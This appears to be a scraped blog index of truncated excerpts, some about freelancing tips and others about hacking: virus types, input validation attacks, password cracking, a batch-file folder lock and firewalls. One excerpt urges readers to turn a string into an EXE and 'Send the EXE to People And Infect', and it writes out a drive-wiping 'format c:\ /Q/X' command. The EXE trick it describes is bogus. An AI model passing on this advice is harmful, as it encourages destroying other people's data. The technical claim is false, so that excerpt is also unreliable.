8 Strategies to Get Your Business in a Distraction Free Zone

Physical and mental distractions are stunting the growth of your freelance business. In line with getting focused on my writing career for 2012, I’ve vowed to cut out as many distractions as possible, at the computer and beyond. Here are eight strategies to get your business in a distraction-free zone! I know, I know. What? No Facebook? Yeah, exactly, just like it was 2003. If you’re serious about getting focused on your business and you’re not using Facebook for business, deactivate and switch to building your network on LinkedIn. You’ll no longer be tempted to wander off into Facebook Land the next time you’re at your computer. Best of all, you won’t have that constant nagging feeling of checking your messages or updating your status. Restore your focus (and maybe your privacy). If...

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10 Firefox Add-ons to Level Up Your Freelance Efficiency

Mozilla Firefox is a real treasure for freelancers worldwide. Why? It’s an advanced, fast and secure web browser. In the last 7 years the open source browser has proved – it’s more than a web surfer. Mozilla Firefox is translated into over 70 languages, enriched with dozens of extensions, and beautified by many persona designs. Firefox may be modified according to your needs on the fly. With a couple of useful add-ons the browser turns into your developer, designer, or SEO fellow-worker. Today, we continue our top Firefox extensions topic with a roundup of excellent free Firefox addons. These extensions will improve your productivity and level up your freelancing performance. ReminderFox: ReminderFox is all you need to keep your freelance project time frame on target. The add-on helps...

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Specialist or Generalist: What’s Your Route to Success?

The beginning of a new year is always a good time to take stock of your business, and plan your direction for the coming year.  Some freelancers work toward building up a name for themselves within a niche; others intentionally avoid focusing too much in one area. Here’s a breakdown of the pros and cons of each approach. You might have been a financial guru in the past, and naturally kept that route when you opened your freelance business. Or maybe you started out covering many markets, but your best client was in real estate, and you found yourself getting established in that area. However it happens, building a name for yourself as a specialist has its benefits, including: You’ll build knowledge of the vocabulary, trends, and who’s who in the market, enabling you to jump in...

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Why Customer Service is So Important for Freelancers

 The term customer service reminds me of wasted time spent on the telephone with some huge conglomerate that somehow messed up something I purchased. Right now I’m dealing with customer service for both my cable/TV company and my home/auto insurance. It’s infuriating. But customer service isn’t just for big box stores and insurance agencies. It’s important to freelancers, too. As consumers, we’ve become disenchanted with advertising and marketing of all sorts, having being duped, tricked or made to feel foolish on more than one occasion. The last true medium that holds sway is referrals from friends, colleagues, or online reviews from the likes of Yelp, AngiesList or TripAdvisor. —Matt Mickiewicz for Forbes.com According to an American Marketing Association survey, 90% of consumers...

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Facebook Timeline: Quick Tips And Smart Examples

A lot has already been covered about Facebook Timeline. A lot of critics (as expected) have negatively criticized Facebook Timeline while others consider it as the biggest gamble (which seems to be working) by Mark Zuckerberg. I will try not to bore you by discussing the same stuff over and over. Facebook Timeline is here to stay and we can either sit on the sidelines and let Timeline take control of the social world or we can be a part of this new movement. Though I am a firm believer of swimming-against-the-tide yet, on this rare occasion, I will suggest you to enable Timeline on your Facebook Profiles. It is time that you become accustomed...

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How To Create An Effective FAQ For Your Website

Frequently Asked Questions is a good section to have in your website. They give users a chance to figure out things by themselves instead of wasting resources (both yours and theirs) with a 1-to-1 conversation (chat, Skype, messenger and so on). But FAQ’s are a different type of content. Just like search and sitemap, it has its own particularities and things that you can do to improve user experience. You have to keep in mind, for instance, that users don’t go to FAQ pages, you have to lead them there. Here we’ll see a couple of thoughts about it, good practices, inspiration and tools. So, let’s rock! Ok, first thing you need to keep in mind: Users don’t read on the web. They scan the page trying to find main keywords about something that may be important to them (just like 90% of...

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Types of viruses :-

The different types of viruses are as follows- 1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected. Examples of boot- sector viruses are Michelangelo and Stoned. 2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions...

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Run Firefox inside Firefox

How to run Firefox inside Firefox.? Yup you can run Firefox inside firefox just by typing following url. How about Opening Firefox inside Firefox which is again in another Firefox..? Not bad huh? And its really easy too just type in this url in Firefox's address bar and there you go! Firefox inside Firefox! copy paste following url in a web browser (mozilla firefox). chrome://browser/content/browser.xul Following is the screenshot of this trick (firefox in firefox in firefox, which is again in another firefo...

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Input Validation Attacks :-

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application. The most common input validation attacks are as follows- 1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions. To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack. Here’s the buffer test, calling...

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Shutdown Command Via Command Prompt :-

The 'Shutdown' Command Becomes More Flexible and Automated when used from the Command Prompt. To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'. In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command. You have to use at least one switch for the shutdown command to work. The Switches :- The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them. -i: Display GUI interface, must be the first option -l: Log off (cannot be used with -m option) -s: Shutdown the computer -r: Shutdown and restart the computer -a: Abort a system shutdown -m \\computername: Remote computer to...

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Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames) 2) Turn on (Compatible) WPA / WEP Encryption 3) Change the Default SSID 4) Disable SSID Broadcast 5) Assign Static IP Addresses to Devices 6) Enable MAC Address Filtering 7) Turn Off the Network During Extended Periods of Non-Use 8) Position the Router or Access Point Safely...

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-: Folder Lock Without Any Software :-

Folder Lock With Password Without Any Software- Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat'). Any name will do. Then you see a batch file. Double click on this batch file to create a folder locker. New folder named 'Locker' would be formed at the same location. Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'. If you want to unlock your files,double click the batch file again and you would be prompted for password. Enter the password and enjoy access to the folder. if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" ...

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If you think that Notepad is useless ???

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool. Step 1 :- Copy The Following In Notepad Exactly as it is. says01001011000111110010010101010101010000011111100000 Step 2 :- Save As An EXE Any Name Will Do Step 3 :- Send the EXE to People And Infect OR IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code format c:\ /Q/X — this will format your drive c:\ 01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 format...

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Firewalls are your guardian angels.

First of all, keep a software firewall active on your system, and restrict access to ports that allow remote access into your system, a good idea is to allow only a few select hosts access to ports used by services such as ssh (port 22) or telnet (port 23). Keeping a firewall in place ensures that you alone dictate who gets to access remote services on your computer and who doesn’t. To set up a firewall in linux, you can use the iptables program which comes standard with most linux distributions. However, iptables is quite difficult and complicated to set up correctly, and you will need to spend some time fiddling with the command line, but it is very flexible and powerful once configured correctly. If messing about with iptables dosen’t appeal to you, there are frontends to iptables that...

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Password Hacking :-

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password. Most passwords can be cracked by using following techniques : 1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password. If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords. One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length. LM hash breaks the password into two 7-character fields which are then hashed separately,...

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